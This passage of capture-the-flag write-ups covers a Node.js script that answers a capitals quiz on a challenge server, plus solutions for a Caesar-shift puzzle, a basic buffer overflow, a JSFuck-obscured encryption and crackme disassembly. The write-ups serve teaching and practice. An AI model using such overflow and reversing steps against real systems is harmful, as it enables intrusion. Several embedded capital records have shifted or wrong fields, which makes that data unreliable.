ame":"Europe"},{"CountryName":"Macedonia","CapitalName":"Skopje","CapitalLatitude":"42","CapitalLongitude":"21.433333","CountryCode":"MK","ContinentName":"Europe"},{"CountryName":"Madagascar","CapitalName":"Antananarivo","CapitalLatitude":"-18.916666666666668","CapitalLongitude":"47.516667","CountryCode":"MG","ContinentName":"Africa"},{"CountryName":"Malawi","CapitalName":"Lilongwe","CapitalLatitude":"-13.966666666666667","CapitalLongitude":"33.783333","CountryCode":"MW","ContinentName":"Africa"},{"CountryName":"Malaysia","CapitalName":"Kuala Lumpur","CapitalLatitude":"3.1666666666666665","CapitalLongitude":"101.700000","CountryCode":"MY","ContinentName":"Asia"},{"CountryName":"Maldives","CapitalName":"Male","CapitalLatitude":"4.166666666666667","CapitalLongitude":"73.500000","CountryCode":"MV","ContinentName":"Asia"},{"CountryName":"Mali","CapitalName":"Bamako","CapitalLatitude":"12.65","CapitalLongitude":"-8.000000","CountryCode":"ML","ContinentName":"Africa"},{"CountryName":"Malta","CapitalName":"Valletta","CapitalLatitude":"35.88333333333333","CapitalLongitude":"14.500000","CountryCode":"MT","ContinentName":"Europe"},{"CountryName":"Marshall Islands","CapitalName":"Majuro","CapitalLatitude":"7.1","CapitalLongitude":"171.383333","CountryCode":"MH","ContinentName":"Australia"},{"CountryName":"Mauritania","CapitalName":"Nouakchott","CapitalLatitude":"18.066666666666666","CapitalLongitude":"-15.966667","CountryCode":"MR","ContinentName":"Africa"},{"CountryName":"Mauritius","CapitalName":"Port Louis","CapitalLatitude":"-20.15","CapitalLongitude":"57.483333","CountryCode":"MU","ContinentName":"Africa"},{"CountryName":"Mexico","CapitalName":"Mexico City","CapitalLatitude":"19.433333333333334","CapitalLongitude":"-99.133333","CountryCode":"MX","ContinentName":"Central America"},{"CountryName":"Federated States of Micronesia","CapitalName":"Palikir","CapitalLatitude":"6.916666666666667","CapitalLongitude":"158.150000","CountryCode":"FM","ContinentName":"Australia"},{"CountryName":"Moldova","CapitalName":"Chisinau","CapitalLatitude":"47","CapitalLongitude":"28.850000","CountryCode":"MD","ContinentName":"Europe"},{"CountryName":"Monaco","CapitalName":"Monaco","CapitalLatitude":"43.733333333333334","CapitalLongitude":"7.416667","CountryCode":"MC","ContinentName":"Europe"},{"CountryName":"Mongolia","CapitalName":"Ulaanbaatar","CapitalLatitude":"47.916666666666664","CapitalLongitude":"106.916667","CountryCode":"MN","ContinentName":"Asia"},{"CountryName":"Montenegro","CapitalName":"Podgorica","CapitalLatitude":"42.43333333333333","CapitalLongitude":"19.266667","CountryCode":"ME","ContinentName":"Europe"},{"CountryName":"Montserrat","CapitalName":"Plymouth","CapitalLatitude":"16.7","CapitalLongitude":"-62.216667","CountryCode":"MS","ContinentName":"North America"},{"CountryName":"Morocco","CapitalName":"Rabat","CapitalLatitude":"34.016666666666666","CapitalLongitude":"-6.816667","CountryCode":"MA","ContinentName":"Africa"},{"CountryName":"Mozambique","CapitalName":"Maputo","CapitalLatitude":"-25.95","CapitalLongitude":"32.583333","CountryCode":"MZ","ContinentName":"Africa"},{"CountryName":"Namibia","CapitalName":"Windhoek","CapitalLatitude":"-22.566666666666666","CapitalLongitude":"17.083333","CountryCode":"NA","ContinentName":"Africa"},{"CountryName":"Nepal","CapitalName":"Kathmandu","CapitalLatitude":"27.716666666666665","CapitalLongitude":"85.316667","CountryCode":"NP","ContinentName":"Asia"},{"CountryName":"Netherlands","CapitalName":"Amsterdam","CapitalLatitude":"52.35","CapitalLongitude":"4.916667","CountryCode":"NL","ContinentName":"Europe"},{"CountryName":"New Caledonia","CapitalName":"Noumea","CapitalLatitude":"-22.266666666666666","CapitalLongitude":"166.450000","CountryCode":"NC","ContinentName":"Australia"},{"CountryName":"New Zealand","CapitalName":"Wellington","CapitalLatitude":"-41.3","CapitalLongitude":"174.783333","CountryCode":"NZ","ContinentName":"Australia"},{"CountryName":"Nicaragua","CapitalName":"Managua","CapitalLatitude":"12.133333333333333","CapitalLongitude":"-86.250000","CountryCode":"NI","ContinentName":"Central America"},{"CountryName":"Niger","CapitalName":"Niamey","CapitalLatitude":"13.516666666666667","CapitalLongitude":"2.116667","CountryCode":"NE","ContinentName":"Africa"},{"CountryName":"Nigeria","CapitalName":"Abuja","CapitalLatitude":"9.083333333333334","CapitalLongitude":"7.533333","CountryCode":"NG","ContinentName":"Africa"},{"CountryName":"Niue","CapitalName":"Alofi","CapitalLatitude":"-19.016666666666666","CapitalLongitude":"-169.916667","CountryCode":"NU","ContinentName":"Australia"},{"CountryName":"Norfolk Island","CapitalName":"Kingston","CapitalLatitude":"-29.05","CapitalLongitude":"167.966667","CountryCode":"NF","ContinentName":"Australia"},{"CountryName":"Northern Mariana Islands","CapitalName":"Saipan","CapitalLatitude":"15.2","CapitalLongitude":"145.750000","CountryCode":"MP","ContinentName":"Australia"},{"CountryName":"Norway","CapitalName":"Oslo","CapitalLatitude":"59.916666666666664","CapitalLongitude":"10.750000","CountryCode":"NO","ContinentName":"Europe"},{"CountryName":"Oman","CapitalName":"Muscat","CapitalLatitude":"23.616666666666667","CapitalLongitude":"58.583333","CountryCode":"OM","ContinentName":"Asia"},{"CountryName":"Pakistan","CapitalName":"Islamabad","CapitalLatitude":"33.68333333333333","CapitalLongitude":"73.050000","CountryCode":"PK","ContinentName":"Asia"},{"CountryName":"Palau","CapitalName":"Melekeok","CapitalLatitude":"7.483333333333333","CapitalLongitude":"134.633333","CountryCode":"PW","ContinentName":"Australia"},{"CountryName":"Panama","CapitalName":"Panama City","CapitalLatitude":"8.966666666666667","CapitalLongitude":"-79.533333","CountryCode":"PA","ContinentName":"Central America"},{"CountryName":"Papua New Guinea","CapitalName":"Port Moresby","CapitalLatitude":"-9.45","CapitalLongitude":"147.183333","CountryCode":"PG","ContinentName":"Australia"},{"CountryName":"Paraguay","CapitalName":"Asuncion","CapitalLatitude":"-25.266666666666666","CapitalLongitude":"-57.666667","CountryCode":"PY","ContinentName":"South America"},{"CountryName":"Peru","CapitalName":"Lima","CapitalLatitude":"-12.05","CapitalLongitude":"-77.050000","CountryCode":"PE","ContinentName":"South America"},{"CountryName":"Philippines","CapitalName":"Manila","CapitalLatitude":"14.6","CapitalLongitude":"120.966667","CountryCode":"PH","ContinentName":"Asia"},{"CountryName":"Pitcairn Islands","CapitalName":"Adamstown","CapitalLatitude":"-25.066666666666666","CapitalLongitude":"-130.083333","CountryCode":"PN","ContinentName":"Australia"},{"CountryName":"Poland","CapitalName":"Warsaw","CapitalLatitude":"52.25","CapitalLongitude":"21.000000","CountryCode":"PL","ContinentName":"Europe"},{"CountryName":"Portugal","CapitalName":"Lisbon","CapitalLatitude":"38.71666666666667","CapitalLongitude":"-9.133333","CountryCode":"PT","ContinentName":"Europe"},{"CountryName":"Puerto Rico","CapitalName":"San Juan","CapitalLatitude":"18.466666666666665","CapitalLongitude":"-66.116667","CountryCode":"PR","ContinentName":"North America"},{"CountryName":"Qatar","CapitalName":"Doha","CapitalLatitude":"25.283333333333335","CapitalLongitude":"51.533333","CountryCode":"QA","ContinentName":"Asia"},{"CountryName":"Romania","CapitalName":"Bucharest","CapitalLatitude":"44.43333333333333","CapitalLongitude":"26.100000","CountryCode":"RO","ContinentName":"Europe"},{"CountryName":"Russia","CapitalName":"Moscow","CapitalLatitude":"55.75","CapitalLongitude":"37.600000","CountryCode":"RU","ContinentName":"Europe"},{"CountryName":"Rwanda","CapitalName":"Kigali","CapitalLatitude":"-1.95","CapitalLongitude":"30.050000","CountryCode":"RW","ContinentName":"Africa"},{"CountryName":"Saint Barthelemy","CapitalName":"Gustavia","CapitalLatitude":"17.883333333333333","CapitalLongitude":"-62.850000","CountryCode":"BL","ContinentName":"North America"},{"CountryName":"Saint Helena","CapitalName":"Jamestown","CapitalLatitude":"-15.933333333333334","CapitalLongitude":"-5.716667","CountryCode":"SH","ContinentName":"Africa"},{"CountryName":"Saint Kitts and Nevis","CapitalName":"Basseterre","CapitalLatitude":"17.3","CapitalLongitude":"-62.716667","CountryCode":"KN","ContinentName":"North America"},{"CountryName":"Saint Lucia","CapitalName":"Castries","CapitalLatitude":"14","CapitalLongitude":"-61.000000","CountryCode":"LC","ContinentName":"North America"},{"CountryName":"Saint Pierre and Miquelon","CapitalName":"Saint-Pierre","CapitalLatitude":"46.766666666666666","CapitalLongitude":"-56.183333","CountryCode":"PM","ContinentName":"Central America"},{"CountryName":"Saint Vincent and the Grenadines","CapitalName":"Kingstown","CapitalLatitude":"13.133333333333333","CapitalLongitude":"-61.216667","CountryCode":"VC","ContinentName":"Central America"},{"CountryName":"Samoa","CapitalName":"Apia","CapitalLatitude":"-13.816666666666666","CapitalLongitude":"-171.766667","CountryCode":"WS","ContinentName":"Australia"},{"CountryName":"San Marino","CapitalName":"San Marino","CapitalLatitude":"43.93333333333333","CapitalLongitude":"12.416667","CountryCode":"SM","ContinentName":"Europe"},{"CountryName":"Sao Tome and Principe","CapitalName":"Sao Tome","CapitalLatitude":"0.3333333333333333","CapitalLongitude":"6.733333","CountryCode":"ST","ContinentName":"Africa"},{"CountryName":"Saudi Arabia","CapitalName":"Riyadh","CapitalLatitude":"24.65","CapitalLongitude":"46.700000","CountryCode":"SA","ContinentName":"Asia"},{"CountryName":"Senegal","CapitalName":"Dakar","CapitalLatitude":"14.733333333333333","CapitalLongitude":"-17.633333","CountryCode":"SN","ContinentName":"Africa"},{"CountryName":"Serbia","CapitalName":"Belgrade","CapitalLatitude":"44.833333333333336","CapitalLongitude":"20.500000","CountryCode":"RS","ContinentName":"Europe"},{"CountryName":"Seychelles","CapitalName":"Victoria","CapitalLatitude":"-4.616666666666667","CapitalLongitude":"55.450000","CountryCode":"SC","ContinentName":"Africa"},{"CountryName":"Sierra Leone","CapitalName":"Freetown","CapitalLatitude":"8.483333333333333","CapitalLongitude":"-13.233333","CountryCode":"SL","ContinentName":"Africa"},{"CountryName":"Singapore","CapitalName":"Singapore","CapitalLatitude":"1.2833333333333332","CapitalLongitude":"103.850000","CountryCode":"SG","ContinentName":"Asia"},{"CountryName":"Sint Maarten","CapitalName":"Philipsburg","CapitalLatitude":"18.016666666666666","CapitalLongitude":"-63.033333","CountryCode":"SX","ContinentName":"North America"},{"CountryName":"Slovakia","CapitalName":"Bratislava","CapitalLatitude":"48.15","CapitalLongitude":"17.116667","CountryCode":"SK","ContinentName":"Europe"},{"CountryName":"Slovenia","CapitalName":"Ljubljana","CapitalLatitude":"46.05","CapitalLongitude":"14.516667","CountryCode":"SI","ContinentName":"Europe"},{"CountryName":"Solomon Islands","CapitalName":"Honiara","CapitalLatitude":"-9.433333333333334","CapitalLongitude":"159.950000","CountryCode":"SB","ContinentName":"Australia"},{"CountryName":"Somalia","CapitalName":"Mogadishu","CapitalLatitude":"2.066666666666667","CapitalLongitude":"45.333333","CountryCode":"SO","ContinentName":"Africa"},{"CountryName":"South Africa","CapitalName":"Pretoria","CapitalLatitude":"-25.7","CapitalLongitude":"28.216667","CountryCode":"ZA","ContinentName":"Africa"},{"CountryName":"South Sudan","CapitalName":"Juba","CapitalLatitude":"4.85","CapitalLongitude":"31.616667","CountryCode":"SS","ContinentName":"Africa"},{"CountryName":"Spain","CapitalName":"Madrid","CapitalLatitude":"40.4","CapitalLongitude":"-3.683333","CountryCode":"ES","ContinentName":"Europe"},{"CountryName":"Sri Lanka","CapitalName":"Colombo","CapitalLatitude":"6.916666666666667","CapitalLongitude":"79.833333","CountryCode":"LK","ContinentName":"Asia"},{"CountryName":"Sudan","CapitalName":"Khartoum","CapitalLatitude":"15.6","CapitalLongitude":"32.533333","CountryCode":"SD","ContinentName":"Africa"},{"CountryName":"Suriname","CapitalName":"Paramaribo","CapitalLatitude":"5.833333333333333","CapitalLongitude":"-55.166667","CountryCode":"SR","ContinentName":"South America"},{"CountryName":"Svalbard","CapitalName":"Longyearbyen","CapitalLatitude":"78.21666666666667","CapitalLongitude":"15.633333","CountryCode":"SJ","ContinentName":"Europe"},{"CountryName":"Swaziland","CapitalName":"Mbabane","CapitalLatitude":"-26.316666666666666","CapitalLongitude":"31.133333","CountryCode":"SZ","ContinentName":"Africa"},{"CountryName":"Sweden","CapitalName":"Stockholm","CapitalLatitude":"59.333333333333336","CapitalLongitude":"18.050000","CountryCode":"SE","ContinentName":"Europe"},{"CountryName":"Switzerland","CapitalName":"Bern","CapitalLatitude":"46.916666666666664","CapitalLongitude":"7.466667","CountryCode":"CH","ContinentName":"Europe"},{"CountryName":"Syria","CapitalName":"Damascus","CapitalLatitude":"33.5","CapitalLongitude":"36.300000","CountryCode":"SY","ContinentName":"Asia"},{"CountryName":"Taiwan","CapitalName":"Taipei","CapitalLatitude":"25.033333333333335","CapitalLongitude":"121.516667","CountryCode":"TW","ContinentName":"Asia"},{"CountryName":"Tajikistan","CapitalName":"Dushanbe","CapitalLatitude":"38.55","CapitalLongitude":"68.766667","CountryCode":"TJ","ContinentName":"Asia"},{"CountryName":"Tanzania","CapitalName":"Dar es Salaam","CapitalLatitude":"-6.8","CapitalLongitude":"39.283333","CountryCode":"TZ","ContinentName":"Africa"},{"CountryName":"Thailand","CapitalName":"Bangkok","CapitalLatitude":"13.75","CapitalLongitude":"100.516667","CountryCode":"TH","ContinentName":"Asia"},{"CountryName":"Timor-Leste","CapitalName":"Dili","CapitalLatitude":"-8.583333333333334","CapitalLongitude":"125.600000","CountryCode":"TL","ContinentName":"Asia"},{"CountryName":"Togo","CapitalName":"Lome","CapitalLatitude":"6.116666666666666","CapitalLongitude":"1.216667","CountryCode":"TG","ContinentName":"Africa"},{"CountryName":"Tonga","CapitalName":"Nuku'alofa","CapitalLatitude":"-21.133333333333333","CapitalLongitude":"-175.200000","CountryCode":"TO","ContinentName":"Australia"},{"CountryName":"Trinidad and Tobago","CapitalName":"Port of Spain","CapitalLatitude":"10.65","CapitalLongitude":"-61.516667","CountryCode":"TT","ContinentName":"North America"},{"CountryName":"Tunisia","CapitalName":"Tunis","CapitalLatitude":"36.8","CapitalLongitude":"10.183333","CountryCode":"TN","ContinentName":"Africa"},{"CountryName":"Turkey","CapitalName":"Ankara","CapitalLatitude":"39.93333333333333","CapitalLongitude":"32.866667","CountryCode":"TR","ContinentName":"Europe"},{"CountryName":"Turkmenistan","CapitalName":"Ashgabat","CapitalLatitude":"37.95","CapitalLongitude":"58.383333","CountryCode":"TM","ContinentName":"Asia"},{"CountryName":"Turks and Caicos Islands","CapitalName":"Grand Turk","CapitalLatitude":"21.466666666666665","CapitalLongitude":"-71.133333","CountryCode":"TC","ContinentName":"North America"},{"CountryName":"Tuvalu","CapitalName":"Funafuti","CapitalLatitude":"-8.516666666666667","CapitalLongitude":"179.216667","CountryCode":"TV","ContinentName":"Australia"},{"CountryName":"Uganda","CapitalName":"Kampala","CapitalLatitude":"0.31666666666666665","CapitalLongitude":"32.550000","CountryCode":"UG","ContinentName":"Africa"},{"CountryName":"Ukraine","CapitalName":"Kiev","CapitalLatitude":"50.43333333333333","CapitalLongitude":"30.516667","CountryCode":"UA","ContinentName":"Europe"},{"CountryName":"United Arab Emirates","CapitalName":"Abu Dhabi","CapitalLatitude":"24.466666666666665","CapitalLongitude":"54.366667","CountryCode":"AE","ContinentName":"Asia"},{"CountryName":"United Kingdom","CapitalName":"London","CapitalLatitude":"51.5","CapitalLongitude":"-0.083333","CountryCode":"GB","ContinentName":"Europe"},{"CountryName":"United States","CapitalName":"Washington","CapitalLatitude":" D.C.","CapitalLongitude":"38.883333","CountryCode":"-77.000000","ContinentName":"US"},{"CountryName":"Uruguay","CapitalName":"Montevideo","CapitalLatitude":"-34.85","CapitalLongitude":"-56.166667","CountryCode":"UY","ContinentName":"South America"},{"CountryName":"Uzbekistan","CapitalName":"Tashkent","CapitalLatitude":"41.31666666666667","CapitalLongitude":"69.250000","CountryCode":"UZ","ContinentName":"Asia"},{"CountryName":"Vanuatu","CapitalName":"Port Vila","CapitalLatitude":"-17.733333333333334","CapitalLongitude":"168.316667","CountryCode":"VU","ContinentName":"Australia"},{"CountryName":"Venezuela","CapitalName":"Caracas","CapitalLatitude":"10.483333333333333","CapitalLongitude":"-66.866667","CountryCode":"VE","ContinentName":"South America"},{"CountryName":"Vietnam","CapitalName":"Hanoi","CapitalLatitude":"21.033333333333335","CapitalLongitude":"105.850000","CountryCode":"VN","ContinentName":"Asia"},{"CountryName":"US Virgin Islands","CapitalName":"Charlotte Amalie","CapitalLatitude":"18.35","CapitalLongitude":"-64.933333","CountryCode":"VI","ContinentName":"North America"},{"CountryName":"Wallis and Futuna","CapitalName":"Mata-Utu","CapitalLatitude":"-13.95","CapitalLongitude":"-171.933333","CountryCode":"WF","ContinentName":"Australia"},{"CountryName":"Yemen","CapitalName":"Sana'a","CapitalLatitude":"15.35","CapitalLongitude":"44.200000","CountryCode":"YE","ContinentName":"Asia"},{"CountryName":"Zambia","CapitalName":"Lusaka","CapitalLatitude":"-15.416666666666666","CapitalLongitude":"28.283333","CountryCode":"ZM","ContinentName":"Africa"},{"CountryName":"Zimbabwe","CapitalName":"Harare","CapitalLatitude":"-17.816666666666666","CapitalLongitude":"31.033333","CountryCode":"ZW","ContinentName":"Africa"},{"CountryName":"US Minor Outlying Islands","CapitalName":"Washington","CapitalLatitude":" D.C.","CapitalLongitude":"38.883333","CountryCode":"-77.000000","ContinentName":"UM"},{"CountryName":"Antarctica","CapitalName":"N/A","CapitalLatitude":"0","CapitalLongitude":"0.000000","CountryCode":"AQ","ContinentName":"Antarctica"},{"CountryName":"Northern Cyprus","CapitalName":"North Nicosia","CapitalLatitude":"35.183333","CapitalLongitude":"33.366667","CountryCode":"NULL","ContinentName":"Europe"},{"CountryName":"Hong Kong","CapitalName":"N/A","CapitalLatitude":"0","CapitalLongitude":"0.000000","CountryCode":"HK","ContinentName":"Asia"},{"CountryName":"Heard Island and McDonald Islands","CapitalName":"N/A","CapitalLatitude":"0","CapitalLongitude":"0.000000","CountryCode":"HM","ContinentName":"Antarctica"},{"CountryName":"British Indian Ocean Territory","CapitalName":"Diego Garcia","CapitalLatitude":"-7.3","CapitalLongitude":"72.400000","CountryCode":"IO","ContinentName":"Africa"},{"CountryName":"Macau","CapitalName":"N/A","CapitalLatitude":"0","CapitalLongitude":"0.000000","CountryCode":"MO","ContinentName":"Asia"},{"CountryName":"Gambia","CapitalName":"Banjul","CapitalLatitude":"0","CapitalLongitude":"0.000000","CountryCode":"MO","ContinentName":"Asia"},{"CountryName":"East Timor (Timor-Leste)","CapitalName":"Dili","CapitalLatitude":"0","CapitalLongitude":"0.000000","CountryCode":"MO","ContinentName":"Asia"}];
cap2 = [ { "abbr": "AL", "name": "Alabama", "capital": "Montgomery", "lat": "32.361538", "long": "-86.279118" }, { "abbr": "AK", "name": "Alaska", "capital": "Juneau", "lat": "58.301935", "long": "-134.419740" }, { "abbr": "AZ", "name": "Arizona", "capital": "Phoenix", "lat": "33.448457", "long": "-112.073844" }, { "abbr": "AR", "name": "Arkansas", "capital": "Little Rock", "lat": "34.736009", "long": "-92.331122" }, { "abbr": "CA", "name": "California", "capital": "Sacramento", "lat": "38.555605", "long": "-121.468926" }, { "abbr": "CO", "name": "Colorado", "capital": "Denver", "lat": "39.7391667", "long": "-104.984167" }, { "abbr": "CT", "name": "Connecticut", "capital": "Hartford", "lat": "41.767", "long": "-72.677" }, { "abbr": "DE", "name": "Delaware", "capital": "Dover", "lat": "39.161921", "long": "-75.526755" }, { "abbr": "FL", "name": "Florida", "capital": "Tallahassee", "lat": "30.4518", "long": "-84.27277" }, { "abbr": "GA", "name": "Georgia", "capital": "Atlanta", "lat": "33.76", "long": "-84.39" }, { "abbr": "HI", "name": "Hawaii", "capital": "Honolulu", "lat": "21.30895", "long": "-157.826182" }, { "abbr": "ID", "name": "Idaho", "capital": "Boise", "lat": "43.613739", "long": "-116.237651" }, { "abbr": "IL", "name": "Illinois", "capital": "Springfield", "lat": "39.783250", "long": "-89.650373" }, { "abbr": "IN", "name": "Indiana", "capital": "Indianapolis", "lat": "39.790942", "long": "-86.147685" }, { "abbr": "IA", "name": "Iowa", "capital": "Des Moines", "lat": "41.590939", "long": "-93.620866" }, { "abbr": "KS", "name": "Kansas", "capital": "Topeka", "lat": "39.04", "long": "-95.69" }, { "abbr": "KY", "name": "Kentucky", "capital": "Frankfort", "lat": "38.197274", "long": "-84.86311" }, { "abbr": "LA", "name": "Louisiana", "capital": "Baton Rouge", "lat": "30.45809", "long": "-91.140229" }, { "abbr": "ME", "name": "Maine", "capital": "Augusta", "lat": "44.323535", "long": "-69.765261" }, { "abbr": "MD", "name": "Maryland", "capital": "Annapolis", "lat": "38.972945", "long": "-76.501157" }, { "abbr": "MA", "name": "Massachusetts", "capital": "Boston", "lat": "42.2352", "long": "-71.0275" }, { "abbr": "MI", "name": "Michigan", "capital": "Lansing", "lat": "42.7335", "long": "-84.5467" }, { "abbr": "MN", "name": "Minnesota", "capital": "St. Paul", "lat": "44.95", "long": "-93.094" }, { "abbr": "MS", "name": "Mississippi", "capital": "Jackson", "lat": "32.320", "long": "-90.207" }, { "abbr": "MO", "name": "Missouri", "capital": "Jefferson City", "lat": "38.572954", "long": "-92.189283" }, { "abbr": "MT", "name": "Montana", "capital": "Helena", "lat": "46.595805", "long": "-112.027031" }, { "abbr": "NE", "name": "Nebraska", "capital": "Lincoln", "lat": "40.809868", "long": "-96.675345" }, { "abbr": "NV", "name": "Nevada", "capital": "Carson City", "lat": "39.160949", "long": "-119.753877" }, { "abbr": "NH", "name": "New Hampshire", "capital": "Concord", "lat": "43.220093", "long": "-71.549127" }, { "abbr": "NJ", "name": "New Jersey", "capital": "Trenton", "lat": "40.221741", "long": "-74.756138" }, { "abbr": "NM", "name": "New Mexico", "capital": "Santa Fe", "lat": "35.667231", "long": "-105.964575" }, { "abbr": "NY", "name": "New York", "capital": "Albany", "lat": "42.659829", "long": "-73.781339" }, { "abbr": "NC", "name": "North Carolina", "capital": "Raleigh", "lat": "35.771", "long": "-78.638" }, { "abbr": "ND", "name": "North Dakota", "capital": "Bismarck", "lat": "48.813343", "long": "-100.779004" }, { "abbr": "OH", "name": "Ohio", "capital": "Columbus", "lat": "39.962245", "long": "-83.000647" }, { "abbr": "OK", "name": "Oklahoma", "capital": "Oklahoma City", "lat": "35.482309", "long": "-97.534994" }, { "abbr": "OR", "name": "Oregon", "capital": "Salem", "lat": "44.931109", "long": "-123.029159" }, { "abbr": "PA", "name": "Pennsylvania", "capital": "Harrisburg", "lat": "40.269789", "long": "-76.875613" }, { "abbr": "RI", "name": "Rhode Island", "capital": "Providence", "lat": "41.82355", "long": "-71.422132" }, { "abbr": "SC", "name": "South Carolina", "capital": "Columbia", "lat": "34.000", "long": "-81.035" }, { "abbr": "SD", "name": "South Dakota", "capital": "Pierre", "lat": "44.367966", "long": "-100.336378" }, { "abbr": "TN", "name": "Tennessee", "capital": "Nashville", "lat": "36.165", "long": "-86.784" }, { "abbr": "TX", "name": "Texas", "capital": "Austin", "lat": "30.266667", "long": "-97.75" }, { "abbr": "UT", "name": "Utah", "capital": "Salt Lake City", "lat": "40.7547", "long": "-111.892622" }, { "abbr": "VT", "name": "Vermont", "capital": "Montpelier", "lat": "44.26639", "long": "-72.57194" }, { "abbr": "VA", "name": "Virginia", "capital": "Richmond", "lat": "37.54", "long": "-77.46" }, { "abbr": "WA", "name": "Washington", "capital": "Olympia", "lat": "47.042418", "long": "-122.893077" }, { "abbr": "WV", "name": "West Virginia", "capital": "Charleston", "lat": "38.349497", "long": "-81.633294" }, { "abbr": "WI", "name": "Wisconsin", "capital": "Madison", "lat": "43.074722", "long": "-89.384444" }, { "abbr": "WY", "name": "Wyoming", "capital": "Cheyenne", "lat": "41.145548", "long": "-104.802042" } ]
var answers = {};for (i in capitals1) { answers[capitals1[i].CountryName] = capitals1[i].CapitalName}for (i in cap2) { answers[cap2[i].name] = cap2[i].capital}
var net = require('net'); var client = net.Socket() client.connect(6001, 'chall.2019.redpwn.net', function() { console.log('Connected'); });
client.on('data', function(data) { input = data.toString('utf8');
patt = /What is the capital of (.+)\?/ console.log(input); var res = patt.exec(input); if(res != null){ console.log(answers[res[1]]) client.write(answers[res[1]]) }
//client.destroy(); // kill client after server's response
});
client.on('close', function() {
console.log('Connection closed');
}``` |
# A Lost Cause
## Description
Pirate Keith loves cryptography and has protected his treasure with a very annoying caesar shift. He has witten
“CGULKVIPFRGDOOCSJTRRVMORCQDZG” on his treasure chest and has left a piece of paper with the following message:
“every subsequent letter is shifted one less than the previous.” Knowing this, can you unlock Pirate Keith’s treasure chest?
## Solution
At first the description was wrong and it said "every subsequent letter is shifted one **__more__** than the previous."
So I trid to shift them back more as the string went down.
And just yield these nonsense.
```CFSIGQCIXIWSCBODTCZYBRSUERDYEBERHFPBHWHVRBANCSBYXAQRTDQCXDADQGEOAGVGUQAZMBRAXWZPQSCPBWCZCPFDNZFUFTPZYLAQZWVYOPRBOAVBYBOECMYETESOYXKZPYVUXNOQANZUAXANDBLXDSDRNXWJYOXUTWMNPZMYTZWZMCAKWCRCQMWVIXNWTSVLMOYLXSYVYLBZJVBQBPLVUHWMVSRUKLNXKWRXUXKAYIUAPAOKUTGVLURQTJKMWJVQWTWJZXHTZOZNJTSFUKTQPSIJLVIUPVSVIYWGSYNYMISRETJSPORHIKUHTOURUHXVFRXMXLHRQDSIRONQGHJTGSNTQTGWUEQWLWKGQPCRHQNMPFGISFRMSPSFVTDPVKVJFPOBQGPMLOEFHREQLROREUSCOUJUIEONAPFOLKNDEGQDPKQNQDTRBNTITHDNMZOENKJMCDFPCOJPMPCSQAMSHSGCMLYNDMJILBCEOBNIOLOBRPZLRGRFBLKXMCLIHKABDNAMHNKNAQOYKQFQEAKJWLBKHGJZACMZLGMJMZPNXJPEPDZJIVKAJGFIYZBLYKFLILYOMWIODOCYIHUJZIFEHXYAKXJEKHKXNLVHNCNBXHGTIYHEDGWXZJWIDJGJWMKUGMBMAWGFSHXGDCFVWYIVHCIFIVLJTFLALZVFERGWFCBEUVXHUGBHEHUKISEKZKYUEDQFVEBADTUWGTFAGDGTJHRDJYJXTDCPEUDAZCSTVFSEZF```
So I started to think maybe the description was wrong and tried to shift them the other way.
```CHWOOAOWNAQOABQHZKJKPHKOAPD[IBGVNNZNVMZPNZAPGYJIJOGJNZOCZHAFUMMYMULYOMYZOFXIHINFIMYNBYGZETLLXLTKXNLXYNEWHGHMEHLXMAXFYDSKKWKSJWMKWXMDVGFGLDGKWLZWEXCRJJVJRIVLJVWLCUFEFKCFJVKYVDWBQIIUIQHUKIUVKBTEDEJBEIUJXUCVAPHHTHPGTJHTUJASDCDIADHTIWTBUZOGGSGOFSIGSTIZRCBCHZCGSHVSATYNFFRFNERHFRSHYQBABGYBFRGURZSXMEEQEMDQGEQRGXPAZAFXAEQFTQYRWLDDPDLCPFDPQFWOZYZEWZDPESPXQVKCCOCKBOECOPEVNYXYDVYCODROWPUJBBNBJANDBNODUMXWXCUXBNCQNVOTIAAMAIZMCAMNCTLWVWBTWAMBPMUNSHZZLZHYLBZLMBSKVUVASVZLAOLTMRGYYKYGXKAYKLARJUTUZRUYKZNKSLQFXXJXFWJZXJKZQITSTYQTXJYMJRKPEWWIWEVIYWIJYPHSRSXPSWIXLIQJODVVHVDUHXVHIXOGRQRWORVHWKHPINCUUGUCTGWUGHWNFQPQVNQUGVJGOHMBTTFTBSFVTFGVMEPOPUMPTFUIFNGLASSESAREUSEFULDONOTLOSETHEM \\looking goodFKZRRDRZQDTRDETKCNMNSKNRDSGDLEJYQQCQYPCSQCDSJBMLMRJMQCRFCKDIXPPBPXOBRPBCRIALKLQILPBQEBJ```
The flag is```hsctf{GLASSESAREUSEFULDONOTLOSETHEM}``` |
BabbyPwn------------------------```Written by: blevy
nc chall2.2019.redpwn.net 4001```
Since the chalenge is an introductory overflow challenge, the most basic type of pwn is buffer overflow, therefore spamming letters such as "aaaaaaaaaaaaaaaaaa" in the console will automatically update the printout and print out the flag.
Crypt------------------```Written by: ginkoid
Store your most valuable secrets with this new encryption algorithm.```
Right as we get in the page, we see```Your safely encrypted flag is vdDby72W15O2qrnJtqep0cSnsd3HqZzbx7io27C7tZi7lanYx6jPyb2nsczHuMec```
By going to Inspector and checking the code, the algorithm is enclosed by JSFuck, which gives us```f=>btoa([...btoa(f)].map(s=>String.fromCharCode(s.charCodeAt(0)+(location.host.charCodeAt(0)%location.host.charCodeAt(3)))).join(''))```
We can reverse this encryption by writing
```eval(f=>atob([...atob(f)].map(s=>String.fromCharCode(s.charCodeAt(0)-(location.host.charCodeAt(0)%location.host.charCodeAt(3)))).join('')))('vdDby72W15O2qrnJtqep0cSnsd3HqZzbx7io27C7tZi7lanYx6jPyb2nsczHuMec')```
which gives us```flag{tHe_H1gh3st_quA11ty_antI_d3buG}```
Generic Crackme------------```Written by: blevy
Note: Enclose the flag with flag{}.```
Right as we launch IDA, we get into

The part we care is the parts right after the \_fgets function where the inputs matter. We will be looking at what the sub_1168 function does.

A closer pic of the first 2 of the conditions:

It seems that theres a sub_1159 function right before the cmp instruction was used.

After analysing what sub_1159 does, we can conclude that it adds 1 byte to whatever the input was. And since each cmp instruction is comparing each letter by letter in ```rax``` (which is our input), we can assume this works as a caesar cipher and rotate 1 from our input to get ```ephhz```, which our input should be ```doggy```, so our flag should be
```flag{doggy}```.
Generic Crackme Redux---------------```Written by: blevy
Note: Enclose the flag with flag{}.```
This part is generic math (haha). By opening IDA, we see

Which shows us the disassembly for the main function. We get straight into the sub_5645DEB32169 function, where we see

We have to compare our output 0AC292h, which is 705170 in decimal. So lets break the function down. From the start,
